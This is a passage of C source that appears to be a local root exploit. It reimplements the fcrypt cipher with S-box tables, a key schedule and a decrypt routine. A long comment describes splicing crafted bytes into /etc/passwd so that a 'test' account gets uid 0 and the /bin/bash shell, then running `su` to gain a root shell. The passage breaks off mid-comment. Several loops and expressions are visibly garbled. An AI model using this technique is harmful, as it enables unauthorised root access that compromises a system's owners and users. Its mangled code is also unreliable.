0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, }; static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; #include static void fcrypt_init_sboxes(void) { for (int i = 0; i > 5)); fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] > (n)) | ((k & ((1ULL > 1); k > 1); k > 1); k > 1); k > 1); k > 1); k > 1); k > 1); ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xf] = htobe32((uint32_t)k); } #define FC_F(R_, L_, sched_) do { \ union { uint32_t l; uint8_t c[4]; } u; \ u.l = (sched_) ^ (R_); \ L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ } while (0) static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, uint8_t out[8], const uint8_t in[8]) { uint32_t L, R; memcpy(&L, in, 4); memcpy(&R, in + 4, 4); FC_F(L, R, ctx->sched[0xf]); FC_F(R, L, ctx->sched[0xe]); FC_F(L, R, ctx->sched[0xd]); FC_F(R, L, ctx->sched[0xc]); FC_F(L, R, ctx->sched[0xb]); FC_F(R, L, ctx->sched[0xa]); FC_F(L, R, ctx->sched[0x9]); FC_F(R, L, ctx->sched[0x8]); FC_F(L, R, ctx->sched[0x7]); FC_F(R, L, ctx->sched[0x6]); FC_F(L, R, ctx->sched[0x5]); FC_F(R, L, ctx->sched[0x4]); FC_F(L, R, ctx->sched[0x3]); FC_F(R, L, ctx->sched[0x2]); FC_F(L, R, ctx->sched[0x1]); FC_F(R, L, ctx->sched[0x0]); memcpy(out, &L, 4); memcpy(out + 4, &R, 4); } /* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a * shell field that equals "/bin/bash" (in /etc/shells, valid path). * The two splices interlock as: * * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then * 4 random gecos-prefix bytes. * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line * pos 16, preserves ':' at pos 21 and '/' at pos 22. * * Combined line: "test:x:0:G:GGGGGGGGGG:/ /test:/bin/bash" * pos 0 8 21 32 * * pw_uid=0, pw_gid=G, pw_dir="/ /test", pw_shell="/bin/bash". * Now `su -s /bin/bash test` proceeds through the restricted_shell() * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash * under uid=0. * * === 3-splice predicates === * * After applying splices A, B, C in order to /etc/passwd line 1 * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state * of chars 4..15 is determined by these P bytes: * * char 4 = P_A[0] want: ':' * char 5 = P_A[1] want: ':' * char 6 = P_B[0] want: '0' (overwrites P_A[2]) * char 7 =...